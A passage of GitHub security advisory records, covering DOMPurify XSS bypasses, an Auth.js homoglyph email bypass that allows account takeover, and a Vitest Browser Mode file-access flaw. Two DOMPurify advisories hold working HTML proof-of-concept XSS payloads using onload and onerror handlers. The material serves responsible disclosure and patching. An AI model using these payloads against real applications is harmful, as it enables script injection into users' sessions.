"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-07T15:30:47Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\nDuring `IN_PLACE` sanitization, a hook that removes an element can leave that element\u0027s detached descendants executable. A descendant image can retain its attacker-provided `onload` handler and fire after `sanitize()` returns, even though the returned root is clean and the image remains disconnected from the document.\n\n### Details\n\nIn DOMPurify 3.4.12, `_sanitizeElements()` in `src/purify.ts:1862-1904` runs the `beforeSanitizeElements` or `uponSanitizeElement` hook and returns immediately when the hook detached the current node. The return does not call `_neutralizeSubtree(currentNode)`.\n\nThe detached subtree is not added to `DOMPurify.removed`, so the post-walk `IN_PLACE` neutralization cannot reach it. If the browser queued a resource event while the application constructed the detached dirty root, a descendant can therefore retain its handler and execute after sanitization.\n\nThe hook only rejects the containing element and does not add or approve the event handler. DOMPurify\u0027s ordinary removal path de-arms the same queued event; only the hook-detachment early return skips the existing subtree neutralization.\n\n### PoC\n\nLoad the published `dompurify@3.4.12` `dist/purify.js` before this script in Chromium:\n\n```html\n\u003cdiv id=\"result\"\u003enot fired\u003c/div\u003e\n\u003cscript\u003e\nconst root = document.createElement(\u0027div\u0027);\nroot.innerHTML = `\n \u003cfooter\u003e\n \u003cimg src=\"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\"\n onload=\"result.textContent = \u0027XSS after sanitize\u0027\"\u003e\n \u003c/footer\u003e\n \u003cdiv\u003esafe\u003c/div\u003e`;\n\nDOMPurify.setConfig({\n ALLOWED_TAGS: [\u0027div\u0027, \u0027#text\u0027, \u0027footer\u0027],\n IN_PLACE: true\n});\nDOMPurify.addHook(\u0027uponSanitizeElement\u0027, node =\u003e {\n if (node.tagName === \u0027FOOTER\u0027) node.remove();\n});\n\nDOMPurify.sanitize(root);\ndocument.body.append(root);\n\u003c/script\u003e\n```\n\n`sanitize()` returns with no handler execution and the returned root contains only the safe `div`. After the event loop advances, the original image remains disconnected but its retained `onload` changes the page to `XSS after sanitize`.\n\nAs the claim-matched control, use the same detached input with `ALLOWED_TAGS: [\u0027div\u0027, \u0027#text\u0027]` and no hook. DOMPurify\u0027s ordinary removal path removes the original image\u0027s handler, the returned root is still `\u003cdiv\u003esafe\u003c/div\u003e`, and the marker does not fire.\n\n### Impact\n\nIn an application that uses `IN_PLACE` with the documented element-removal hook pattern, an attacker who can supply HTML can execute JavaScript in the integrating application\u0027s origin after the application sanitizes and renders that content.\n\nThe required non-default configuration is `IN_PLACE` plus a hook that removes a containing element. The hook does not add or approve the event handler, and the dirty root never needs to be connected before sanitization.\n\n### Suggested fix\n\nReuse the existing `_neutralizeSubtree(currentNode)` helper before returning from both hook-detachment branches in `_sanitizeElements()`. Add regressions for `beforeSanitizeElements` and `uponSanitizeElement` that retain a reference to a descendant resource element and verify that its event handler is removed after the hook detaches its ancestor.",
"id": "GHSA-55q2-fjhq-7xh7",
"modified": "2026-08-07T15:30:47Z",
"published": "2026-08-07T15:30:47Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-55q2-fjhq-7xh7"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1557"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/3067f7746769"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: IN_PLACE hook removal leaves a detached subtree executable, causing XSS"
}
GHSA-7RQJ-J65F-68WH
Vulnerability from github – Published: 2026-07-23 14:40 – Updated: 2026-08-12 20:27
VLAI
Summary
Auth.js: Email normalizer validates the address before Unicode normalization, allowing a homoglyph @ bypass
Details
Summary
The default email-address normalizer used by the email/magic-link sign-in flow validates the address before applying Unicode normalization. An address can contain a Unicode character that is not an ASCII @ (U+0040) but canonicalizes to one under NFKC/NFKD normalization (the normalization commonly applied by mail libraries and services for internationalized email). Such an address passes the normalizer's single-@ check, but a downstream mail library that normalizes the string then sees two @ separators and may deliver the passwordless sign-in link to a different recipient than intended. This is an instance of validating before canonicalizing.
Am I affected?
You may be affected if all of the following hold:
- You use
next-auth>= 4.0.0, < 4.24.14, or@auth/core>= 0.1.0, < 0.41.3. - You have the email / magic-link (passwordless) provider enabled.
- You rely on the built-in default identifier normalizer (you have not supplied your own
normalizeIdentifier). - Your
sendVerificationRequestimplementation uses a mail library or delivery service that applies Unicode normalization to recipient addresses (most internationalized-email/SMTPUTF8-capable senders do).
You are not affected if you do not use the email provider, or if your normalizer/mailer rejects or canonicalizes non-ASCII addresses before they are validated.
Impact
- Account takeover: an attacker who knows a victim's email address can request a magic link that is delivered to an attacker-controlled mailbox, then use it to sign in as the victim.
- No victim interaction is required to misroute the link; the attacker initiates the flow.
Patched version
The fix applies Unicode (NFKC) normalization before the address is validated, so homoglyph separators are collapsed and rejected up front. Upgrade to the first release containing this fix (pending; this advisory will be updated with the exact patched version before publication). No application code changes are required after upgrading.
Workarounds
If you cannot upgrade immediately:
- Supply a custom
normalizeIdentifieron the email provider that callsidentifier.normalize("NFKC")(and lower-cases/trims) before any validation, and rejects addresses that do not contain exactly one@after normalization. - Or reject any address whose local part or domain contains non-ASCII characters, if your user base does not require internationalized email addresses.
Credit
Reported by @kakashi-kx. Thank you for the responsible disclosure.
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@auth/core"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"fixed": "0.41.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "next-auth"
},
"ranges": [
{
"events": [
{
"introduced": "4.10.3"
},
{
"fixed": "4.24.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.0.0-beta.31"
},
"package": {
"ecosystem": "npm",
"name": "next-auth"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0-beta.1"
},
{
"fixed": "5.0.0-beta.32"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-73420"
],
"database_specific": {
"cwe_ids": [
"CWE-180"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-23T14:40:15Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe default email-address normalizer used by the email/magic-link sign-in flow validates the address **before** applying Unicode normalization. An address can contain a Unicode character that is not an ASCII `@` (U+0040) but canonicalizes to one under NFKC/NFKD normalization (the normalization commonly applied by mail libraries and services for internationalized email). Such an address passes the normalizer\u0027s single-`@` check, but a downstream mail library that normalizes the string then sees two `@` separators and may deliver the passwordless sign-in link to a different recipient than intended. This is an instance of validating before canonicalizing.\n\n## Am I affected?\n\nYou may be affected if **all** of the following hold:\n\n- You use `next-auth` `\u003e= 4.0.0, \u003c 4.24.14`, or `@auth/core` `\u003e= 0.1.0, \u003c 0.41.3`.\n- You have the email / magic-link (passwordless) provider enabled.\n- You rely on the built-in default identifier normalizer (you have not supplied your own `normalizeIdentifier`).\n- Your `sendVerificationRequest` implementation uses a mail library or delivery service that applies Unicode normalization to recipient addresses (most internationalized-email/SMTPUTF8-capable senders do).\n\nYou are **not** affected if you do not use the email provider, or if your normalizer/mailer rejects or canonicalizes non-ASCII addresses before they are validated.\n\n## Impact\n\n- Account takeover: an attacker who knows a victim\u0027s email address can request a magic link that is delivered to an attacker-controlled mailbox, then use it to sign in as the victim.\n- No victim interaction is required to misroute the link; the attacker initiates the flow.\n\n## Patched version\n\nThe fix applies Unicode (NFKC) normalization before the address is validated, so homoglyph separators are collapsed and rejected up front. Upgrade to the first release containing this fix (pending; this advisory will be updated with the exact patched version before publication). No application code changes are required after upgrading.\n\n## Workarounds\n\nIf you cannot upgrade immediately:\n\n- Supply a custom `normalizeIdentifier` on the email provider that calls `identifier.normalize(\"NFKC\")` (and lower-cases/trims) **before** any validation, and rejects addresses that do not contain exactly one `@` after normalization.\n- Or reject any address whose local part or domain contains non-ASCII characters, if your user base does not require internationalized email addresses.\n\n## Credit\n\nReported by @kakashi-kx. Thank you for the responsible disclosure.",
"id": "GHSA-7rqj-j65f-68wh",
"modified": "2026-08-12T20:27:03Z",
"published": "2026-07-23T14:40:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/security/advisories/GHSA-7rqj-j65f-68wh"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/commit/19d2feb24359fa8c79418907fc68d9ec8152ca94"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/commit/a63eee12a1a20cb35209e44195b097868517b9a0"
},
{
"type": "PACKAGE",
"url": "https://github.com/nextauthjs/next-auth"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/@auth/core@0.41.3"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@4.24.15"
},
{
"type": "WEB",
"url": "https://github.com/nextauthjs/next-auth/releases/tag/next-auth@5.0.0-beta.32"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Auth.js: Email normalizer validates the address before Unicode normalization, allowing a homoglyph @ bypass"
}
GHSA-C2J3-45GR-MQC4
Vulnerability from github – Published: 2026-07-21 19:41 – Updated: 2026-07-21 19:41
VLAI
Summary
DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements.
Details
Summary
There is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving CUSTOM_ELEMENT_HANDLING.
When a custom element is allowed via CUSTOM_ELEMENT_HANDLING.tagNameCheck, it appears that the element does not go through afterSanitizeElements in the same way as a normal element. As a result, an application that relies on afterSanitizeElements as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.
This does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as innerHTML, creating a second-order XSS gadget.
Details
The issue appears to originate from the control flow in src/purify.ts: line 1672~1691
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
CUSTOM_ELEMENT_HANDLING is parsed from user configuration at src/purify.ts: line 741~748
const customElementHandling =
objectHasOwnProperty(cfg, 'CUSTOM_ELEMENT_HANDLING') &&
cfg.CUSTOM_ELEMENT_HANDLING &&
typeof cfg.CUSTOM_ELEMENT_HANDLING === 'object'
? clone(cfg.CUSTOM_ELEMENT_HANDLING)
: create(null);
CUSTOM_ELEMENT_HANDLING = create(null);
In particular, tagNameCheck, attributeNameCheck, and allowCustomizedBuiltInElements are copied into the internal CUSTOM_ELEMENT_HANDLING object there.
During element sanitization, _sanitizeElements() checks whether a node is forbidden or not allowlisted at src/purify.ts: line 1805~1814
/* Remove element if anything forbids its presence */
if (
FORBID_TAGS[tagName] ||
(!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName)
) &&
!ALLOWED_TAGS[tagName])
) {
return _sanitizeDisallowedNode(currentNode, tagName);
}
If so, it immediately delegates to _sanitizeDisallowedNode(currentNode, tagName) and returns its boolean result.
Inside _sanitizeDisallowedNode(), the custom-element-specific allow path is implemented at src/purify.ts: line 1672~1692
const _sanitizeDisallowedNode = function (
currentNode: any,
tagName: string
): boolean {
/* Check if we have a custom element to handle */
if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)
) {
return false;
}
if (
CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function &&
CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)
) {
return false;
}
}
If the node is treated as a basic custom element and CUSTOM_ELEMENT_HANDLING.tagNameCheck matches, the function returns false immediately at line 1682 or 1689, meaning “do not remove this node”.
That early return false is significant because control returns directly to _sanitizeElements() via the return _sanitizeDisallowedNode(...) at line 1813. As a result, the later logic in _sanitizeElements() is skipped for that custom element instance, including:
- the namespace validation at
src/purify.ts: line 1816~1826
* Check whether element has a valid namespace.
Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype
nodeType getter rather than `instanceof Element`, which is realm-
bound and short-circuits to false for any node minted in a different
realm — letting a foreign-realm element with a forbidden namespace
slip past the namespace check entirely. */
const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;
if (nt === NODE_TYPE.element && !_checkValidNamespace(currentNode)) {
_forceRemove(currentNode);
return true;
}
- the fallback-tag mXSS check at
src/purify.ts: line 1828~1837
/* Make sure that older browsers don't get fallback-tag mXSS */
if (
(tagName === 'noscript' ||
tagName === 'noembed' ||
tagName === 'noframes') &&
regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)
) {
_forceRemove(currentNode);
return true;
}
- most importantly for this report, the
afterSanitizeElementshook dispatch atsrc/purify.ts: line 1850~1851.
/* Execute a hook if present */
_executeHooks(hooks.afterSanitizeElements, currentNode, null);
In other words, a normal allowlisted element continues through _sanitizeElements() and reaches hooks.afterSanitizeElements, but a disallowed-by-default element that is revived by the CUSTOM_ELEMENT_HANDLING.tagNameCheck path does not. This creates a policy inconsistency: an application that relies on afterSanitizeElements to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through CUSTOM_ELEMENT_HANDLING.
In the PoC, the application hook removes data-bio from ordinary elements, but the same attribute remains on <x-bio> because the custom-element keep path bypasses afterSanitizeElements. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved data-bio value in connectedCallback() and writes it to innerHTML, turning the preserved attribute into a second-order XSS gadget.
PoC
Reproduced on DOMPurify 3.4.11.
Steps
- Save the following HTML to a file, for example
poc.html. - Open it in a browser.
- Observe that the
divcontrol losesdata-bio, while the allowed custom element keeps it. - Observe that after
connectedCallback()runs, the candidate payload is reinserted into the DOM and executes through the custom element’s own sink.
HTML PoC
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js"></script>
</head>
<body>
<pre id="result"></pre>
<script>
window.__controlFired = false;
window.__candidateFired = false;
customElements.define("x-bio", class extends HTMLElement {
connectedCallback() {
const bio = this.getAttribute("data-bio");
if (bio) this.innerHTML = bio;
}
});
DOMPurify.addHook("afterSanitizeElements", node => {
if (node.hasAttribute && node.hasAttribute("data-bio")) {
node.removeAttribute("data-bio");
}
});
const config = {
CUSTOM_ELEMENT_HANDLING: {
tagNameCheck: /^x-/
}
};
const controlInput =
'<div data-bio="<img src=x onerror=window.__controlFired=true>"></div>';
const candidateInput =
'<x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>';
const cleanControl = DOMPurify.sanitize(controlInput, config);
const cleanCandidate = DOMPurify.sanitize(candidateInput, config);
const container = document.createElement("div");
container.innerHTML = cleanCandidate;
document.body.appendChild(container);
setTimeout(() => {
document.getElementById("result").textContent =
"This is not direct DOMPurify XSS.\n" +
"The payload becomes executable only after x-bio writes data-bio into innerHTML.\n\n" +
"control: " + cleanControl + "\n" +
"candidate: " + cleanCandidate + "\n" +
"after connectedCallback: " + container.innerHTML + "\n" +
"control fired: " + window.__controlFired + "\n" +
"candidate fired: " + window.__candidateFired;
}, 100);
</script>
</body>
</html>
Expected result
control: <div></div>
candidate: <x-bio data-bio="<img src=x onerror=window.__candidateFired=true>"></x-bio>
after connectedCallback: <x-bio data-bio="..."><img src="x" onerror="window.__candidateFired=true"></x-bio>
control fired: false
candidate fired: true
This is output of HTML PoC.
Impact
This does not appear to affect DOMPurify’s default configuration as a direct sanitizer bypass.
The impact is limited to applications that:
- enable
CUSTOM_ELEMENT_HANDLING, - rely on
afterSanitizeElementsas a security policy layer, - expect that hook to apply uniformly to all surviving elements,
- and have allowed custom elements that later re-inject preserved attribute values into
innerHTMLor another HTML sink.
In that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.
Possible fixes or mitigations might include
- ensuring that allowed custom elements also consistently pass through
afterSanitizeElements - documenting clearly that elements preserved via
CUSTOM_ELEMENT_HANDLINGmay not participate in the same post-element hook flow as normal allowlisted elements.
Severity
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.4.11"
},
"package": {
"ecosystem": "npm",
"name": "dompurify"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.4.12"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T19:41:07Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "## Summary\n\nThere is a possible hook-policy inconsistency in DOMPurify 3.4.11 involving `CUSTOM_ELEMENT_HANDLING`.\n\nWhen a custom element is allowed via `CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does not go through `afterSanitizeElements` in the same way as a normal element. As a result, an application that relies on `afterSanitizeElements` as a security policy layer to strip sensitive attributes from all elements may see those attributes removed from normal elements but preserved on allowed custom elements.\n\nThis does not appear to be a direct DOMPurify XSS or a case where DOMPurify directly allows executable payloads. The preserved value is still inert at sanitize time. The issue becomes relevant when the allowed custom element later re-injects that attribute value into an HTML sink such as `innerHTML`, creating a second-order XSS gadget.\n\n## Details\n\nThe issue appears to originate from the control flow in `src/purify.ts`: line 1672~1691\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\n`CUSTOM_ELEMENT_HANDLING` is parsed from user configuration at `src/purify.ts`: line 741~748\n\n```tsx\nconst customElementHandling =\n objectHasOwnProperty(cfg, \u0027CUSTOM_ELEMENT_HANDLING\u0027) \u0026\u0026\n cfg.CUSTOM_ELEMENT_HANDLING \u0026\u0026\n typeof cfg.CUSTOM_ELEMENT_HANDLING === \u0027object\u0027\n ? clone(cfg.CUSTOM_ELEMENT_HANDLING)\n : create(null);\n\n CUSTOM_ELEMENT_HANDLING = create(null);\n```\n\nIn particular, `tagNameCheck`, `attributeNameCheck`, and `allowCustomizedBuiltInElements` are copied into the internal `CUSTOM_ELEMENT_HANDLING` object there.\n\nDuring element sanitization, `_sanitizeElements()` checks whether a node is forbidden or not allowlisted at `src/purify.ts`: line 1805~1814\n\n```tsx\n/* Remove element if anything forbids its presence */\n if (\n FORBID_TAGS[tagName] ||\n (!(\n EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function \u0026\u0026\n EXTRA_ELEMENT_HANDLING.tagCheck(tagName)\n ) \u0026\u0026\n !ALLOWED_TAGS[tagName])\n ) {\n return _sanitizeDisallowedNode(currentNode, tagName);\n }\n```\n\nIf so, it immediately delegates to `_sanitizeDisallowedNode(currentNode, tagName)` and returns its boolean result.\n\nInside `_sanitizeDisallowedNode()`, the custom-element-specific allow path is implemented at `src/purify.ts`: line 1672~1692\n\n```tsx\nconst _sanitizeDisallowedNode = function (\n currentNode: any,\n tagName: string\n ): boolean {\n /* Check if we have a custom element to handle */\n if (!FORBID_TAGS[tagName] \u0026\u0026 _isBasicCustomElement(tagName)) {\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp \u0026\u0026\n regExpTest(CUSTOM_ELEMENT_HANDLING.tagNameCheck, tagName)\n ) {\n return false;\n }\n\n if (\n CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof Function \u0026\u0026\n CUSTOM_ELEMENT_HANDLING.tagNameCheck(tagName)\n ) {\n return false;\n }\n }\n```\n\nIf the node is treated as a basic custom element and `CUSTOM_ELEMENT_HANDLING.tagNameCheck` matches, the function returns `false` immediately at line 1682 or 1689, meaning \u201cdo not remove this node\u201d.\n\nThat early `return false` is significant because control returns directly to `_sanitizeElements()` via the `return _sanitizeDisallowedNode(...)` at line 1813. As a result, the later logic in `_sanitizeElements()` is skipped for that custom element instance, including:\n\n- the namespace validation at `src/purify.ts`: line 1816~1826\n\n```tsx\n* Check whether element has a valid namespace.\n Realm-safe check (GHSA-hpcv-96wg-7vj8): use the cached Node.prototype\n nodeType getter rather than `instanceof Element`, which is realm-\n bound and short-circuits to false for any node minted in a different\n realm \u2014 letting a foreign-realm element with a forbidden namespace\n slip past the namespace check entirely. */\n const nt = getNodeType ? getNodeType(currentNode) : currentNode.nodeType;\n if (nt === NODE_TYPE.element \u0026\u0026 !_checkValidNamespace(currentNode)) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- the fallback-tag mXSS check at `src/purify.ts`: line 1828~1837\n\n```tsx\n/* Make sure that older browsers don\u0027t get fallback-tag mXSS */\n if (\n (tagName === \u0027noscript\u0027 ||\n tagName === \u0027noembed\u0027 ||\n tagName === \u0027noframes\u0027) \u0026\u0026\n regExpTest(EXPRESSIONS.FALLBACK_TAG_CLOSE, currentNode.innerHTML)\n ) {\n _forceRemove(currentNode);\n return true;\n }\n```\n\n- most importantly for this report, the `afterSanitizeElements` hook dispatch at `src/purify.ts`: line 1850~1851.\n\n```tsx\n /* Execute a hook if present */\n _executeHooks(hooks.afterSanitizeElements, currentNode, null);\n```\n\nIn other words, a normal allowlisted element continues through `_sanitizeElements()` and reaches `hooks.afterSanitizeElements`, but a disallowed-by-default element that is revived by the `CUSTOM_ELEMENT_HANDLING.tagNameCheck` path does not. This creates a policy inconsistency: an application that relies on `afterSanitizeElements` to remove an attribute from all elements will observe that the policy is applied to normal elements but not to custom elements allowed through `CUSTOM_ELEMENT_HANDLING`.\n\nIn the PoC, the application hook removes `data-bio` from ordinary elements, but the same attribute remains on `\u003cx-bio\u003e` because the custom-element keep path bypasses `afterSanitizeElements`. The attribute itself is inert at sanitize time and DOMPurify is not directly allowing executable SVG/HTML through. The security impact appears when the application-defined custom element later reads the preserved `data-bio` value in `connectedCallback()` and writes it to `innerHTML`, turning the preserved attribute into a second-order XSS gadget.\n\n## PoC\n\nReproduced on DOMPurify 3.4.11.\n\n### Steps\n\n1. Save the following HTML to a file, for example `poc.html`.\n2. Open it in a browser.\n3. Observe that the `div` control loses `data-bio`, while the allowed custom element keeps it.\n4. Observe that after `connectedCallback()` runs, the candidate payload is reinserted into the DOM and executes through the custom element\u2019s own sink.\n\n### HTML PoC\n\n```html\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n \u003cmeta charset=\"UTF-8\"\u003e\n \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.4.11/purify.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cpre id=\"result\"\u003e\u003c/pre\u003e\n\n\u003cscript\u003e\nwindow.__controlFired = false;\nwindow.__candidateFired = false;\n\ncustomElements.define(\"x-bio\", class extends HTMLElement {\n connectedCallback() {\n const bio = this.getAttribute(\"data-bio\");\n if (bio) this.innerHTML = bio;\n }\n});\n\nDOMPurify.addHook(\"afterSanitizeElements\", node =\u003e {\n if (node.hasAttribute \u0026\u0026 node.hasAttribute(\"data-bio\")) {\n node.removeAttribute(\"data-bio\");\n }\n});\n\nconst config = {\n CUSTOM_ELEMENT_HANDLING: {\n tagNameCheck: /^x-/\n }\n};\n\nconst controlInput =\n \u0027\u003cdiv data-bio=\"\u0026lt;img src=x onerror=window.__controlFired=true\u0026gt;\"\u003e\u003c/div\u003e\u0027;\n\nconst candidateInput =\n \u0027\u003cx-bio data-bio=\"\u0026lt;img src=x onerror=window.__candidateFired=true\u0026gt;\"\u003e\u003c/x-bio\u003e\u0027;\n\nconst cleanControl = DOMPurify.sanitize(controlInput, config);\nconst cleanCandidate = DOMPurify.sanitize(candidateInput, config);\n\nconst container = document.createElement(\"div\");\ncontainer.innerHTML = cleanCandidate;\ndocument.body.appendChild(container);\n\nsetTimeout(() =\u003e {\n document.getElementById(\"result\").textContent =\n \"This is not direct DOMPurify XSS.\\n\" +\n \"The payload becomes executable only after x-bio writes data-bio into innerHTML.\\n\\n\" +\n \"control: \" + cleanControl + \"\\n\" +\n \"candidate: \" + cleanCandidate + \"\\n\" +\n \"after connectedCallback: \" + container.innerHTML + \"\\n\" +\n \"control fired: \" + window.__controlFired + \"\\n\" +\n \"candidate fired: \" + window.__candidateFired;\n}, 100);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n### Expected result\n\n```\ncontrol: \u003cdiv\u003e\u003c/div\u003e\ncandidate: \u003cx-bio data-bio=\"\u003cimg src=x onerror=window.__candidateFired=true\u003e\"\u003e\u003c/x-bio\u003e\nafter connectedCallback: \u003cx-bio data-bio=\"...\"\u003e\u003cimg src=\"x\" onerror=\"window.__candidateFired=true\"\u003e\u003c/x-bio\u003e\ncontrol fired: false\ncandidate fired: true\n```\n\nThis is output of HTML PoC.\n\n\u003cimg width=\"1917\" height=\"961\" alt=\"poc\" src=\"https://github.com/user-attachments/assets/80e22989-5779-42f8-8ffb-106e9a4c2b10\" /\u003e\n\n\n## Impact\n\nThis does not appear to affect DOMPurify\u2019s default configuration as a direct sanitizer bypass.\n\nThe impact is limited to applications that:\n\n- enable `CUSTOM_ELEMENT_HANDLING`,\n- rely on `afterSanitizeElements` as a security policy layer,\n- expect that hook to apply uniformly to all surviving elements,\n- and have allowed custom elements that later re-inject preserved attribute values into `innerHTML` or another HTML sink.\n\nIn that situation, the behavior can become a second-order XSS gadget because a security-relevant attribute is removed from normal elements but remains on allowed custom elements.\n\nPossible fixes or mitigations might include\n\n- ensuring that allowed custom elements also consistently pass through `afterSanitizeElements`\n- documenting clearly that elements preserved via `CUSTOM_ELEMENT_HANDLING` may not participate in the same post-element hook flow as normal allowlisted elements.",
"id": "GHSA-c2j3-45gr-mqc4",
"modified": "2026-07-21T19:41:07Z",
"published": "2026-07-21T19:41:07Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-c2j3-45gr-mqc4"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/pull/1537"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/commit/a9ca1e537422319a557a9a2aa61f003b23b4a197"
},
{
"type": "PACKAGE",
"url": "https://github.com/cure53/DOMPurify"
},
{
"type": "WEB",
"url": "https://github.com/cure53/DOMPurify/releases/tag/3.4.12"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses `afterSanitizeElements` for allowed custom elements."
}
GHSA-P63J-VCC4-9VMV
Vulnerability from github – Published: 2026-07-21 19:36 – Updated: 2026-08-13 18:19
VLAI
Summary
@vitest/browser: Browser Mode provider commands bypass the file-access permission gate
Details
Summary
Browser Mode exposes a set of built-in "commands" that run on the Node.js side of the test runner and can touch the local filesystem (taking screenshots, managing Playwright traces, uploading files for <input type="file">, comparing screenshots).
Several of these commands accept a file path from the browser and act on it without checking the allowWrite permission gate and without confining the path to the project directory. A client that can reach the Browser Mode API can therefore read, create, overwrite, or delete files anywhere the Vitest process can access, even when allowWrite is false.
This matters most when the Browser Mode API is exposed to the network (for example test.api.host is set, or the dev server is reachable from another machine or origin). In that configuration allowWrite defaults to false precisely to block file access, and these commands bypass that protection. On a default localhost-only setup with trusted test code, there is no untrusted party in a position to exploit it. The gap still matters wherever you rely on allowWrite: false to contain untrusted test code, because these commands ignore that flag.
Affected commands and impact
| Command | Operation | Impact |
|---|---|---|
upload (Playwright + WebdriverIO) |
Read | Arbitrary local file read; contents are loaded into the page and readable by test code. Highest-impact case. |
takeScreenshot (Playwright + WebdriverIO) |
Write | Writes a PNG to an arbitrary path (absolute path used verbatim), creating parent directories. |
screenshotMatcher |
Write | Writes reference/diff PNGs; directory derived from client path allows partial traversal. |
stopChunkTrace |
Write | Writes a Playwright trace .zip to a path escapable via ../ in the trace name. |
deleteTracing |
Delete | Deletes arbitrary files by path. |
annotateTraces |
